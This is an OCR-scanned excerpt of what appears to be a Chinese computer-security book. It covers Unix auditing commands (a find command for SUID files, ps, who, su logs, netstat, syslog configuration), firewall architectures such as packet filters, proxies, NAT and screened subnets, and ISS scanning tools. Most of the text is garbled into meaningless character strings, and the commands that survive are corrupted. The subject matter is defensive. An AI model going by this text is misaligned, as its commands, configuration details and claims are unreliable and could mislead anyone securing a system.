), EMEERXHRS, FRH SUID/SGID U4 X AEMA
ARG H A O4MERAPUKEAFHMF UID/GID A

ok =N
AT a2 R RGP PTA SUID B :
# find / \(-perm — 004000 - 0 — 002000 \) —type f - print
—REGS

LA R—2 Unix RGP HWREGS:
¢ du MEEBRBKEREGH (Y IAEBRREEHRFE)F
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EEGEME

+ Pc friend

£ HF S ANUEEIE. TRHTRERP S SUFREAAER.
¢ df MEBNXHRELRMEREREL. ATAHEAR

REAZS (E A A B,

¢ ps. REYMALEPEESTHHIASEE, XTHTKE CPU
B E] B AR s BB IE AT T A BB P 5817 TR KA RME A TR
2> CPU BT E M A P RN Y EARE, ARIUEHEBITT—1ER
HEFWEEHBHAP URKREHP AR ZRHAP (—K%
HTEERERNLN),

¢ who. HIRRGEHRREP LENEREASFS KEH
F BB SR [ DA OB SR 0

¢ su BYAPKEFER su S HFEARGER P, AW E/
user/ adlnjsulog X HE—FER , HZXHFIER T KEXEA su i
A root I TEHIRIER S, WFRBA T 88A AL B H root 04,

@ login. E—HRGH, login BFIER T EBMEREE &
ARG login B FAHOX T TAET REFH login BWREFF, W KB
login )o BREA VBTG F, ELBERHRERREMT iF
£, MERATEAACEESIBUEREMO4, ELEARLE, X
BEREEMN—AE: RABHABRRACHAPMAFNIESY
7, REBRERAREFEMAIENEL, MAFEEGEAR
gegART.

T RERERF

REFEMNE, LREEFEPBE LB K Y. Bl find
wd MR BEEE KT 256 M ERPXHFREE LT 200 3
W H % RS ER (B X i, BR R TR %
), AP RA A AR £ 2 B REHME K B FE#K SUID B,
MR E (Hfind WSS/ H—MERER RABHERANFT
BEXSEFRXM), BT ncheck A RXM RS, BHERA

(190 - zeemwer-




FEH4 B RBEAEGOR

Pc friend -

find 248 E R BA SR TIEE

R E BB . profile XM, MR EAREZRAF W EREAE
MT. MAFPAsamdH ,REASH -, BT su FAERAFH
. profile

AR A FRARGFZHWKS

1 . Unix iCMk & G 76 304 / usr/adm/acct / sum /login R84
FREBTERE-KEREENICE. ZXHhRELEY, LA %Le
EEERHHRERY, ERUFERGETBITICKERFUERH
HIE

2 \/etc/passwd X O A RBOKBEEFREEHER, AP
MOSRESHT . EH, WERABSH LK, PLBEREAL.
X—HEHRSETRAECRTAKANP L, RESEE R, BA
RELKREFTFTENRARE, RS RRAAEEAAERS
i E O ASRR

3. REBHERAVUE-NEF, EX (HEHSSFREM)A
# /etc/wtmp , H CERH cron FHEHI1ER I, R E T AP B&Je B xat
HidFk. X—HEMRSRATEICIKER, I BT RIER; a2
EACERF.

PA_EAEA] 5 AR BT 1 /usr/ adm/sulog XHZ5 S 2K, H H lo-
gin B su B % P kWG H R,

MEEANFOBRRGER 2, BEHNE - HERREIREERT
ABREBREURERT, FEARREEMARESES, WATRREFIER
itk , MBR IS, FRABBARBRIAARE T T M2,

=.2 ik
Unix iCWKE AT IR 2K A T, BREJE 5 R W EIHIE RS
JCKk ARG R BT A I B E BT R, W — 28 B i
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BE S UID (o4 R RPIT 58RI ETE . CPU B jE]fn
LRRTHFERI A DA R AR BT root HRR, XA TRAEH
RTBAGHHAPETH A, WA ERNEEREPHITA root i
o BT RGEEHA su g WL 5 A root R RS/ 3H
PR/ init - GEH init G 3h getty | login \ % 5% shell )l cron J3 3
HIHER U KB root SUID ¥ 8] M ar4 5k, AR S FA EMAE root
7i ,

WK REWATREBA RN K CPU FI R, 21T W R
S5t EEE.

8.1.2 ¥iEm#E

Tin 2 s 2 3 R R o
MM 4 EER P EZ 2,
in 4 4% S B He A =7
e

L X%k

e P45 5 S RN
£ 79 i 18] 4% 5 0 & B 1S
B AR RERE,
N[4S TR B 5

& EmE

5 EEEE AN A, A R A R B A R AR R B, S RS
A% ALK, T2 PR 3R (0 I 4 B 4 BEAT R S AN BN , X & B A
BEHEBEEZEREAE T

&G RME

Xt#E A PG BRI, RIGHFEIEAREEE G AETR
o MBAGIHAHEIEESZHBERNERE . X—FEHE

RE,ME EMEIRP EBFREMLSEH—TRF)TARRK
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FEHy:BEERAEHENL

Pc friend - -
MEHR , F ENMELEGATHBEMLITONERE. REREN
RRMTHE —ER SR SRS (FENEEH), REES
RGLAH CEBINE T (CHEEEMEHR R/ PR BRMITE
B, INEAE S BT E BRI KRH)

LImBE N — R B IE 00, B EEEE I B A R I R —
FERY, Zm AT EALER R BE AT S N4 R R

A5 BRI H AN [T 30 , i BT 6 R L IR
PR IR BB s AN E R IR il T 0, 7 SMR B RN SRR B E IR
B , WA BE B TR B X A SO BB RHAT A EWE . T
R, DR —KME— DT, RHRTE Unix RERFRT . £
Mg, G- R REFEA RN IMEEH, XHR T T X mEEHY
EH BRI,

8.1.3 Ay um%il

F4 RS P i — Ry 3% , 326 1A 34 4 77 3 7T DA R SRR 1
=2

SR AFRASZ -

KRR REE R
FA P 28 e FOAR R B i 2 A Y
B, YHAPKRSARRS
B, [0 0 A 8 2 7
MRk, HE, BELA
FHF P B 243 o SR 7 15 1
R, B L7 3 B AR
FRANERABPOALTER
Gl P AT SRR AE
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SGRAPEWARK DS, 5SERAR KNSR @R MEEYLE™ 4
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¢ EAREIEETIN REARE ., Flin, HEERIEE T
i, R IA N RBE AP P SE SR S L unE sk, mEZRAF 0
LREFHERFANE,

¢ RE\AZELAEN LY AT RRCHAR, Hilm, EHE
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REMBERKE—E G F R B T IR, —SRGEP, Bl — Bk
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ST LB MRTE SRR PR, ps W a2 A LUIHBIR
IFEARAT o 6] R BUAE AT P P IEZEMUAT 438, ps B — D E MG AR
W&, W W PEE—NEMES FERRE .  netstat 774 7T LLAREK
BRI EZEMES) (FE Wndows NT F—4), MA—1 &%
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(#1 Internet ELEER ) o WRE R Internet F AT HEEW, ZEA
A RESEHEYE R 3 (2 F IP Multicast H 2 —FRERT"#% Restricted
Broadcast , MEA B 15 xE FIPLER U], Internet I HAth B iRiE B A2 UK
B) . fRiX Internet 1A LASEHEAERRE S 35, BRBERE — 1 AR ) #BR
B, 2t R iR 2w, EA AR Bk, MR ME N
3% B A LR R UM AR EHRA K B C WX ME N HRE
HikihEk, T—7 WAN Port B HIE , WASF# HC K LAN
Port H1,,

MEER MK EA R SWEY, AU R AR E SR
e, BRAEXT J7 8 P — Lo Bk N 60 25 0 R 68 I Bl K SR Sh
&, B4 REF AR EVHEFTER (FEHR telnet |, fip 13 KER
B) ARELRL A X J BALHE , an SR 5 B T B K R FARE R, AR
BOW BB AER KRN E . IEE N RBEG AFIRESL , RthE
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RE BRI, 38 % T LA netstat 154508 B H ATE L ARG,

8.3.1 idxBildE

MRRBEEMEER P HEBIERT R, TLUA cron table
B 28

netstat> > filename

B2 Unix RERCHFRBRIX—NMFRK, ARERGEHE %
BUE R RS E 4 Daemon: syslogd , %A 18 £ A & &R HIE#E Unix
RGH) /var/adm T EA R RELFREEE : syslog 5 messages ,—1
B—BERENL R, —MRELHEF. ERXFEMMERENIRAIK
B, NE MR ETR?

REMEL RIS FH R H syslogd (System Kernel Log Daemon)
K =4, T syslogd HIFEHilJ2 H1 /etc/syslog. conf A F o syslog. conf LA
BRI P E BT SRR RV, DA RIC R 30 & . HHAMREN
AT

1T AR50 & FR R E B LT B F B RIE

¢ auth XTFRELES5FEAENESE

¢ cron XT RS B SIHE AT (CronTable) 75 1

@ daemon X THFEPTEX S E

® kemn XFRGELHEH

& lpr XTEIRVLFE )

& mail XFHFHMESE

¢ news XFHEHEXFHE
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® user XTHAELE
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ST HARIREAE HX,

2 fraBEAIER:
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® none AECFEX—I

@ debug R RGAE HHERE

¢ info —BHEREIR

@ notice RMEFEME

® err RAEHIR

€ warning B8

@ crit BENES

& alert A E—RHEE

® emerg CEEETET

FIEEH, &% Unix RETRSAARNBERR TR, AER
ZRAFINX S crit 5 alert HEH, WHEWRRESAELZHLNEE
AL, FEICRAT, syslogd & B SIHRFTEERBE AR EFERHH
— LR TR, BIMRERERICE info FRKFEH, W notice |
err. warning . crit . alert . emerg % 7E info % LA W E&—IgEic %
Tk, BERFIBER 1. 2TUMRASERRRTERN “BidF
BREE AT M B, Bl mail. info TR KT FARFEXRGER—
IR E . auth.emerg RE X FRAX 2T EHYENAL .
lpr. none F/ARAEILRXFIHIRVMALE GEHHAESRSNLREN
RASHM). HIMEZFMEFRFS TR A :

B (x )ARE—HFHHETE. HII0 mail. *FRAEHRX
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5 (=) R RRF AR —%F%, H ERNSRAECR, Filwm
NIRIEBIF, FEET info FHA, BAIEAT info FR LHEH no
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EIIRERRGERE ) . EHRZLRE TN, WHRA—KFK
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e EARATEA R EEARF) .

4 (38R 43% 3% AL
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BWRERT ,BEEIFEEZRARARLEFRER? MK REZHRAE
EIW, MR L ERTEAE T, B, MRREFIELEESL T AT
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FURHEEREABRE, FRERTERREIN, BIMEFRE
EERE
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DEKBECHERICRTEACHRENANS, HEXBLRHBE—
BB RRY, BRAEAOR ST B ATIHBR S, 75 JUL X £ S04 R oK
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BERXHHTE, YRR KBS SIRICRTRT . ERMRE
MARGLHET IRATREEMNGF L+ MB EZJLH MB HCFH R F
JEG R BEL L R AL, A T RS AR — U B B R B . B, AR RRAT
A B R R B R BIE R L RN

1 ZHeEni
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LRI RK S ER H RN, RKFE B HLRAS .

2 RREFARGED
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8.3.5 RINLAREI B H—)tE
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HEr%HRRA In-
terNIC — 1>, 23K & B
# NIC LA K% ¥ BR NIC
BHRHEEE, (htp: //

www. internic. net/ ) o N
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ENFZEK “. edu "R NIC SMYRLIER ( WEFH) B
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hope. com. tw ZH1 LA R, FHT 104 #8132 R M HL !

= REIPHUNEE
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X&E— ClassCIP , Nl E ML R, —BRE=K, T
FEBF-MWR-BER, & 203.0 : Hk—K#E, Eah? BB
o RIF B R ClassB o H1 T InterNIC #3843 ClassC 3¢ 25 W i ¥
PLHISR 1 R BL4S , Bl LA 28 ClassC YRS 7E W BR B BEALHY , A 55
1] InterNIC 25 H B J& 91 B8 FALHY (T ClassB [/]) o [8]8] 203. 66 4.
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FE— VTR A B 203.66.35.1 , b — IP Hiiik N Forward-
nessTechnologyCo. Ltd. FiA , B iE#unt th—FH-F2E L1,

ML ER AR, AT LA AE— EHLZFRER IP Hhhh 25 25 20 4 M 4%
BARBER, MRBERAZMERA TR Imﬁ‘“’ﬂ@lﬁl%ﬁﬁ(ﬂiﬁ
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DomainName <-> IP #tht B % B TAEMEF ., B EEEA Unix —4f,
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RGHENR, |G, 2 40 % WA BA ZHP KR ( Firewall ) ;T
ALF 30 % KIREAREMRIERGEIER LR KRR EOL T 24
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AR 1k KK 5 WY s EEFE BB B9 B3 2 o T B BT 106 BT 7 03 24 4R
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(208 - mmamtr -



Pc friend -

IR, — 1~ R he
E M9 48 N A T %
B WA M 4 1
Ko, AP EH—I
TCP/IP N A, tb
M Telnet =Y #
FTP , [ Q38 iR %5
A{TACHE , O AR
FHERAP®
it B U [a] 4 5
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BEB AL
+ P friend
TR S AR RLA N AEMIR . X3 LB HPRE T 375
FEIRE

R#h R MAERS FEFHASE—RBUBIRE RE, HHHF
A% £ 2% EZAORBY AL TP KRB . BRTR AR ZHEE R Dual
- homed By k3%, BFRACEVLEIBE KI%, DA GG #CT P BY B kO
(ETXXHSAFHN R
 ERREBAEFERTRTHEA, AN KEREETT—
BB L, X RA—GITENEATRMBAP—ZEASHE
BB KR I, OL X R R A RIS, inFRAE BB B s —
PR, —BORE, B KRR ARRF BAS G ENARK K
RIM% , X RREREIEBNEE T o B X AT LU AR H 8 S g
B4, WATRERAE O ECE MR, HEA 8RR — A8, 202 Wi
i JEFTA B MR RSN P R B B, B KRR TP B IR
R B8 AN B FNBEIR , F 90 T R RUR A B R FR MR S5 45 BT —
FRE B KRB 2 AT LARH 1R AR RS BRI R S RIS A

LR~ RN R EA RN, AEEARSILEMHR
M ABERBIBRR A R A ERA TR AR B . BIEEL
A P RR AL FE B8 B Y AT RE A, Bl — 28 AT R TR BB B T
R FMRE . BT BB KIRRA L AFA R AR TEM
Email , % WWW LAE A&, BA RS HER VIR 2 R A ERE)
HEYL, R LA A R ARSI Z B ARV H . K RERM LK
BB KEZ AT LA ISR B AR BB . T B KA W RS E—
B RMETENZ ER—NRER B, B LURBIF R Bk i
Ko Hlm—aE WWW REIRS 2%, BrA B9 7ER AR A5 b i QR AR 5 2%
AeF X B RF /AR T EENAERS S, EASHBMAEER,
ELSRIEFERR HER SR GERE HHRAERAT WR—IF
BERWE, XIMERSBEMELBIEIEN WWW RFaSE, HEE
B WWW RS SR BTN HEREH A SHBILERREAHRE,
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BEH,:HERRKGEL
Pc friend -
= %fﬂ%ﬁ'ﬁ%@]ﬁﬂﬂﬁ%i&Jﬁﬂﬂﬁ%iﬁ%&ﬁﬁ$?ﬁﬂ‘lﬂ%1ﬁﬁﬁ’l\
HERERBERTZENE, YX—VHES G, BEERASEIEM
ERERENTFH,

9.1.3 Mt AT ED; Kk

5 K 355 T LA AR 0 0 28 LR Y5 BT BA T, W1 ARy Lk 25 A A R P
Vi, oA S N85 005 — 1 3 5 2 i A R A R BR 1, 4R 5 i
—BERAHRERENFRF. WREHDAERNOE, RABSEITS
ZZRUUMME, HLIN2 R ) P9 ER 0 BUHR 45 B R 8 & R B3 774~ Email
Huhk, SRERM ETGAZERR T Playboy , MM EMEHEHNK LT
A—ELBEUA

HiFE —KE BB RE SR 7 RER— L% 4
MAATARE X B TRARIH—IP L, IRREMERAT LN
S EXNMER EBRRKHAZ LN (BB BgRERLENAF
BHIFH L X, /-7 LAFE Houston — basedLivermoreSoftwarelabs £ 2|15 %
RHl, 1992 43 EHMEKY B B ZA1E LI S5 DanQuayle i 5y
FARREME T — R HE XM, MREST, —MEI 16 F R/
RENBNMARELES SHESHBEIME DM THXHREK
RE S, RS, VirginAtlantic #7252\ RSB Ih#E 3 8%
PIEEMEA BN IHTEYIMEMMAE TMEN B IRTHER. W
RREANT LB ETE , R BT AT SR 2 5], BEF W LIt
B ER I P45 , 07T BEXT VR R GE RS

9.2 BRI E A KA

B KA R Z MR, A URBER 2T ESETENZ b

B, A AE AR ER A Z P H . SRR LA R =F

IR A, RERF B MRS LS. EFRANGEETUERE
' CREARER - 211)




EZEGEBE Pe friond
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HE M %24 (National Computer Security Association) R3],

9.2.1 fuit3ER;XH% (IP Filting Firewall )

49,31 & (Packet Filter ) &
EMEE P BEQLER
HEEEREN, KIERGH LR

GRS IS 8, RAERIER /?&

PREMEA, REREC
B UR bk | B AR hk (DL RS ’
B b 5 1 98 8 c3
KXY EOES . EHBKMNX
BEREBEHEME L, A ERNEBBEIBRTFTFE2E2—EK
ERNESE, APaREEEEN IP A KA IP bk, XXk
X EEERR A, B RSEBRERCE N IP I EEFE—FYHE R
KB RELE,FEBATRE LA F M B ARX B W, TR K
BESEHNBERHERR., G3BXME AESBERAES
FEEEMNIP ML, FiEBRGEHA TS KNSR ERE L
. QR BH KRB EFE— IP A fE R BT , X A Huh 1 5K 9 BT & 15
BESHEN SRR, XM AR ARRE, KInERAE XE]
] LA o 405 0 B ok B R 2R R E A R P B 5 R IR s iR B A XM
FERlE“HRIE” BYESMS A, B0 www. playboy. com , www. cnn. com
F%,

AR EEFNRERNRSRREX TR RERERN, B
RBATEMAF ZMERRE R, XRBy k53R B S T4,
HEBAE—ENL. EEROSHEORORRARN, B ER
ARPHERCE, XERIMEAEN T RIE R R R BEH B EHIC
Fo MBE— LML X BT X BERBEREBEESGH,
MAEX—FHELRETRKENER, “FERamt” RREHK
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AN —FOGEFE, BRI AL 8RB AR H—RIIEEE,
Fidx et fy 1P Huk B 2B T (FakelP) , UM Z B2 —
JBFF R TP #uht, —BA — MBS T B kS, BREETLLAXA 1P
HhbkPhde TR HMME B . £ —F T RENME A ]
Ao gEl BRI ERER, XMHEFFEFAKEHEED (Routing In-
formation Protocol) R KX hEMBHERE , XHEMANERSEERN
Bl Bl — A ARE T8 E R bt

S X PP AR B — R AREHRZ A ‘RSB ,XLhkE
R—FpREIER, BdERERENITENLR BT TEE M BERN
“MAEER” F50, YREFH/MEL T XMHESEEEEFFERENE
B B, T BE B AU AT BN . R AR S S 7E 45 B A
FRNESHERSBIEEIRIER., BREYRSHELHEET L
FARRE R, EEEA R EIEF WA P ER, & FXFHER
i T MRS A BB AT A B FE

XFRBE KBS RS B RHE K, BEERARHFPHERILR, X
BERIMTRAEN SR PEARBEHNR T IR W RREEDH
AT BEBE KSR — B . BHEMAAFARTMEE, BRAENR
BT NHEAIRBI RS, &M AMNRTTIEAPRREE . B0 LIRS
FRXTRVE P& BT, EAIARRBIC SR NERMITIRl, AR — 1 REN
5 R BEE R P& AT IR, BB SIARFE M P MBIk
1P it ¥ F o AL SR R B KBS R EF B X AT E 2N RS

9.2.2 fRARF2Y ( Proxy Server )

REAR S5 258 H WARVE DL BB K 5% o A0 8 B X35 AT DA% R
IP bk S 2% (F R BARE VIR, HEEAESAFRAREHNTA
BifE s AR R4, Xt TR B4 b 3R Ui F % Bl ok 358 72 B8 47 A 3%
#.
HETFRBAP K EEE T AN BB AT RN ZLFT BT K.
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Frig B S, BB KBRS EYL RGN AR NSRRI A
IEFRIRS WFEEOR TN, XHERIIHEI T By KN SMTR
NARGEHREE., RERS ZZELE Internet B XBER X LN H, £
EME R AT T ERIEER S ERN ARFREFERS, RN, &7
ML A F LM BGR MBI W I IE R E SR, —BIER
T AT TR E WK R IR S5 , N A4 (HTTP) |, imfR SC- (&4
(FTP) %%,

AREAR 5@ H M EIRE R N AR F&E,

RIER S TTREEF N ZLMBEI . HEE LRI ML 5501
REERE, ENTEFRERR—-EENRFTH—H, X FINF
HIRFHRRUR, EXR—EFF . SRERS[EZIAHPHER
FEERERPERNESREMFEREER, WRAFHFURIZSE
REHE, RERFHSB—NEP LR AR EFREEEE
RERP . RERFHEFFARERE, ZFEPHFAERPLE VN
WRBAE, ET—TRAPEVRERERY SN, RESRAAER
b EIMFERERNE, WA T RETA T MERE,

THEE AN B ILARERRSHHEITZR TR,

1 ZRARZERSE (Application Gateway Proxy )

XA B K R 1 P 28 0 i B SR AL B 2 AR 55 o 2SN &
EHLRE VT E (20 Telnet) Z AR BIAT , B AHELER; k3 L 253 &4
WiIE, & S HIAEE, B KRB FT— 1% 18 Telnet BITHRRF,
AR EN S AT EV TR, X R, By kO aT LR & P U5
5] i) E WL U7 R B[R] S D R B K. [RIRE, AR P IR A P i
[5) 41 3 P Bt 7 ST 8 SR B B k8 b, 8 o TR S5 A 7T 8 A Telnet BX
FTP A @w4 .

o7 PR 9 O A3 A A R BR T ARG R P &R TP sk, do 7T DL 4SS
R 8 MEREERRT — 8% IP bk i 8 A3 4% 1
S AE . HRF R R RSO 38 B A BRI Z 2t (HR XA AR
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AR AMXAER, BPBRERREZS &R , XBHAPHRE
ZAE, MEXHRBERFENETNAMNXERTHERF,

2 ESBBRERSFB

Wt R i — R RERSE S, EEATEZ ML EER
REAR RN A PN, M EE O oAb R IR BE B FTLL, BB KA
R 55 488 B =R BUE WA P EF

EBFME (Sockets Server )iLE BB R HRE 25, EH
F (Sockets )& —F W45 B F 2 0 B Prin . 2R M4 E AL
TESIBMZEEBHN , EH R ENERFRSFSEEREW
UserID . IP JEHEFN IP H ik, &3 WA G , ERFHA 5IMFH
BRIRFHESERE. XAPKRE, ZRPRNS5/MENNE B XRRE
BB, B A BB KB A TE , IR E VR NG AP ATESE R
B k3 o {ERZ P R R LB RF “ Socketsified API” ZZ {3
B 48 P Ui ) 2 3% 090 i (5 L B TP ikt R Bl KBS 9 TP ik,

3RERSFB

BB, RERFHFBEARRIEAL MRS FTP | Telnet %5
BB B k3 b, 6 R 7 M AR %28, X AN TE R B B, SR
RAERBELIMLL, RERF[EARRN LIRS EIEEF.

T E, 3 AR 37 R P38 P A8 X AR RV ) B, 7% S5 R BB 2k
B b, B AMR R, R AR 8] Pt R BB E BB ki, AT BR
T AEBHAL RS T ReH,

4 1P @& (IP Tunnels )

ZESHIAXMHER, — KA M FA R MHBERE, &S
Internet 3&fF o X FREH T, BT LAK A IP Tunnels B4 1k Internet £ K
BEBBEE . N Internet FIER—EMELM,

BmFM A F—FEH( IPHAER X X X X)) FMN B F
FHLAP HAEN Y. Y. Y. Y) BB, ZWM BT AR PG k% FW1
(IP #aik N. N. N. 1 B, B KSR HI BT XM R ERETH B, &£,
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REGEMA .
¢ rc inen

BN —3Rk AR BT KBS B F R B Bk FW2(N.N.N.2 )
IP 2 3C, MR IP bk AEBWX N, FEHE —ENFEZ Inter-
net R1E FW2 . FW2 BIKREIRSUG & ZBLIR [P ik FW1 &,
ZEMIARK , B, EAM EFE. M Intemet EF LR E PP
KIERESE . BIERENE TN FW1 £ FW2 MRS, B F FW2 7
EHEMCLEARRRAE, SWFHRL,

5 Misibht 3% (Network Address Translate )

LZRPMES] Internet EBT, 2RI IR B Vi 1A Internet,
WIE R —AEER 1P sk, {HE T Internet 1P #uhEARR, T H
ZRPMEATER ACH—E IP bR GEEX IP#ibt), M4
Mot e e A8 AR TER A Bk B3R — B Pk, HAEE AP
B 1A Internet B, B 535 50 25 30 WA s 1k 48 o 36— 4N R 43 BE A9 S ik 43
Begr iz AP A P BT XA B bk AT E R . FIR, X T
TR LB R S5 2R 0 Web AR S5 2% , M9 4% s bk % 60 88 Ao iF W H 4 B — A
[ 8 B bk o SNSRI 2% Y A P B T A B A e R [R) P R ) AR
ZR XFEARRE A TORK IP it FIREHN EVZHEKFE, X
XFAMBRAR T NEREALM IP #hhlk R & T L,

6 .F% & X %K% E ( Split Domain Name Sever )

XA EE AR SR A I Bl K R 3 AR P48 Y 48 AR 5 A S AN ER IR
B4 IR 55 a5 B B, (6 SMER M A 4 4% IR 5548 R BEE BB K BRI 1P stk
T T 2R M4 i BRI O , X A AT DURIE 32 {R 37 I 4% 1Y) TP 3
AR

7 A K H K (Mail forwarding )

24 B K 3 SR P L T I R B 4 JLRR B R (AR SNER I 45 R A0 Bl ok
BEE TP snk IR B, MANEERISE &R EIIRAF, Bt R BB B B A%
Fo BB KX BRI HATRA , RA YRR IR IR VLR A
T, Bl KR X R4 B B stttk BE AT e 4, 12X B PR B R 4 AR 5
%, HEHH#ITH R
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RE R 5 &
B —HEEN
WHAPMIRZ
6] —— M Sh T R BE
BRNER S HT
BARBUEATH A
B, A
P&, RHELHE—
WAt 38 E D A)
¥, MESFHM
ieR T A KT
L3R NERE P MBSEA BB MFFE, TR B f Ui RISMERSE 5 XEHMER
Z AT BCR A B R R . AU AT DASR GRS e D I B SRR
ARt R BRI BE, Xk B KRR B HATIER, BT EEAK
AAMEHERL

EEAERSSUHFE—LRARZLL, BRESHEVREEE
&, BNEARFAS EZIRIFY, By ZELLEAM G KEE
B, Hm, RN InEress. mARBERSHTFENE—
ANERE B4 EL IR 0 R 95 22 e AR L O AR 95 3K 4 , FLP A RE G R SR B AR
S5 an SCRFRIIRSS , R , sl — R A AR L A, 250 A
TR, XEWE M TR TESR LA H I 18] 65357 IR 55 KA 0 %
RO EAFHR, FHARITA B LR DL PR AT UG AR B AR 5
o

9.2.3 REWHIS (Stateful Inspection)

XFBT KR 2R ERIEE TN, BERA T — M EMNX BT

P 2 %2 2 R VR AF 5 1 2, IR Z A IR IR . R TASIR TE AN 32 10 ) 4%

IEH TAEMETR T , SR Al UM S S48 i 07 B 0 R 4638 15 19 % B 5L e
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W, HECER A BEE , BPRESE B, S SRR RIE R UEHIE R
EPRNSHE, BB R 2R TN R, 30T RAE S
TN AMRE MY . SHEREFRAR, YHFPVIRBIEERX
HBRE R AT, RS RSFERBA RBEBEH 1T, S MERE
MEEMEELEN L EESATEFENEFRE. —HES
ViRl R Z2ME , ZeMERRAEL XTI, HEIER, MREE
R ME MRS

REBHRBH S —MEEREBE S KN RPC(RemoteProcedureCall)
# (UDP) UserDatagramProtocol Z 2% 015 B o At 38 AR %
AR RIRO . XFP S TERIER REWN, B ENREES
B, T HSPERPMI4%H# A,

9.3 BRI RGN

X—/NTE R BN AT KRR REH, — TS, Bk ik
WA LT &R

1. #&% % E (Screening Router )

X KERERNEG, BB REMTET R HHFEL
B, AR EVIOREE, BFak B B a8 1E O A E B —8 0 , B
KRR MDA ETRE . BHS ETURRET IP 2K
WG BN, LM ICGTIEIIBE . F R HFAFHA MG
B, (5 — M LB A

BP0 e 5 B A A B B K B Y A B O A B e AR A B KB R
BAFHEREN . ERREE— B EERERI, M ELREIR
HARBRAF

2 MR EMM % (Dual Homed Gateway )

XMEERA—SXAMRMRHEL EIMBT A, WM
& B 5ZRPPRIMNBEMEE. E2FV LBETENJORRE, 7]
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LA R R FF , REERS %5

S AL SR T dic i e 28 b0 2 - B 2 EHLE RGBT
ATEPREHE BHEENHERERAE, XX THEHBER
AH. EXABHBMEERERANTBMFERL EPATRE S8R
BEAR.

SR EVR XM — DB SR : — EARERAR L EVHME
H A BB BBThEE, MR _E AP 2 mT ARERE 5 5] I ER R

3 B EHM £ (Screened Gatewy )

BR#EENMXES TELRABBREL, — B2 ENERENTMN
% b EEERES LRSS RN, IR 2 YR SR
W4 — AT BRI B EAL, X BRR T RERRIAE A 2 R BEALI SR
AP #BEE,

MR Z AP NE—NRUY B, BIEA FRAEH S,
AWM EAAEREL EVRFEREHSNEE, ERTR
HIFELR 22 EVUF R RS 8% o 0 OQ Y R A 42 ) SRW% ey 223 7 | THT B
BUFRE . MRAGEERBEEFRIE LE, ANFRERENRERZ
BIRKEM . X5 ENMXZHENNEEERE

4 #B#-F™ ( Screened Subnet )

XFP B RAE N FR R AR 48 Z A 2 v — MR B B T M,
FEITG 3 4 4L 0 e o 43 — T 43 505 P P 45 IS P 4 43 3F
FEARZ LB, B4 4 A U8 B o 25 BCFE T IO B P i, 7E T R AR R
—A “dEFEHX” DNZ , IER L& FSMER P 45 27T 5 Rl g SR 7 M, (2
b ENF SRR T FER, 8 WWW 1 FTP R % #% 7l i 7E DNZ
o BRI R TF PR RAE 82 FUENME—RT VR R, SRR IR
THEMEANAMERHE, XFHRENERNCEEL2EN.FME
BLE A T8 9 W S 0 5 i PO 1 Bt % o

MR B E R E 7 W IRB JR , b BB B B =M
e a, AW E B A A OSSN E, RN XA A S8 A
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B, XHEWIERATRER o (HE 28 1 PSR U5 IR 3% B 48 5 R A M Y
FEEHIIRE, NBESZRREE EXHELT , BEEERLER
A2 0, R AR EHL, FHR ERBEIR 5 # b 25 , 3 B4
AR PARET I K ER.

9. 4 B NI R BR

RER AHEE
2 7E Internet I 18
ATIEWMA,
(EESRUP & 100"
BEATS R + 53 BU
i & ok =R ]
BB K5 E B —
MEENFTNZS
B, By EiE
ZELYBREDTS
—RE, RKXEk
TEE REMEEN TS EA AR k52 8 C 8,3 Inter
net IR MELE, MM FHIE =M RFFARGEEMEE, N
BHAE™ ROWMERE , i AEEARRBRE BN, B ERNHAmE,
HEMES 0 EAZRE, H2, B aifRan K B 507 k5= S sZ
FeXF SRR IP EMFEDIRE, AT7EX F EZ B EE 1 0 BUR K&
il BH KIS A — MR EART TCP/IP ¥, AT A HE T
Internet o, B35, BB ARTE LT LLRATEEM 53 AR E L+, 5
W X. 25 5 ATM &R LA, ,

B K 555 )L T — R 6 T 2 B K3 i AR B 2 4L, il 2
TR ZUWEF R HABZ L REAVLE], % Internet I FIE: ZR M In-
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ternet BAEFE . MfITFEFR: B KIEA A E—FBROZLR, RBGE
B KRB Z2E S

B K 335 A BE AR Dt A B KR BB R BT A K2R,
RAPICR—MEFEARZT, BN EFRAITERE S —BERER
RS, M BERER, B ZHATHIR, BEE Java | JavaScript
ActiveX 4 K A R D Y088 B9 K B R 2 ), X — AR B E iR
HARG . B k3855 — A R AR A B K S i R S
R “WRET B AN, KEEM- SR EEETEMEER
RFTENLHKEL, YR, EX—FEBRSHAERNEL,

YRR EHFZP ISR E M E 2B, B, R AT
ZRP I RIE NI Z R FI MRS, — A P T LUE S B R
M BEEERE, —SRERT WA SR SRS SRR
BSMAUERR B Kk , T AT 8 S A R PO R 45 3R (3L R A0 B2 D B R
SLIP 5§, PPP B AL XM EZ 2R G

HFXRERERIT T KEHO0E 0BT By K% r it i L 2R
P, N B — B ER R T RE, Mo, B KA BER Sl N
AP AEREE RO . B2 7 R RE SR BIEE NEF
FEIR A IR X SR B A B] DR R MR 1 B SR I R, L
FBAER NI, YA L3R H KT F B8 g ik A7 s 48 D1 B R Ry
M EHL B RGN, RS K EBIRE I BT, — BRI BT
AR — & FIBER S ZLE X, NTEARE T —KER
GANBERGE .

REGFIEXERU, B K5 W3 & AL IEE AN, B kAR
REEREANEENZ 2R, B AHETES S Intermet H AP RAE
WhHH . EAR—EMERFNE WA BUIERMIEE TEM
A SR R A e I 48 22 2 [l REL R T BB 24 T, TAT R I 48 & 2 BUR A SR Mg
B — B o

Bi KIS EZLPHHEEREENACG, RELXNTENSE

CREBRRBR - 221)



BEGEME

+ Pc friend

Yy, B KEEAFFEE —L KR, B AR, BUFE i B K 55 B A7 LA
T— L .

1 B KIEARREB AL B B JOR M E . WRAFMA S In-
ternet IR 55 H2 UL R E ST B0 SLIP 5% PPP ¥ 8:, R T LSS Bh k3% &
SR LR 2R

2 B KEARREBITEA N B R B, B — SN 2R A K
H AP B,

3 (B KA BB 1 3R EE R I AR B AR

4 B K EEARERT IE BRI S B : YA B REAE R L ENE
2 R A7 28 T B IR M =L _E TR, AT BB & R AE BB IR 3 =AY
Yo
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B PGB BN B ™ i

10.1 ISS (EBRREBRNMZ£ERSA R )~

IS (HREBMEZLREAFTNELMRBERHAF, KA
AT URRII ™.

RealSecure (SZR AR MH35)

InternetScanner (H.EKMITHAS)

SystemScanner (FR %)

DatabaseScanner (3% FEHH#i28)

H 9 RealSecure l InternetScanner & 32283k 7§ , DatabaseScan-
ner BHMA K& ABIEER REL 5, 1AHh, 1SS ARIEHESH TH
8% 2E 4 SAFEsuiteDecisions

THEREMNE—TETRMEMEVLK L AN R 5w 5
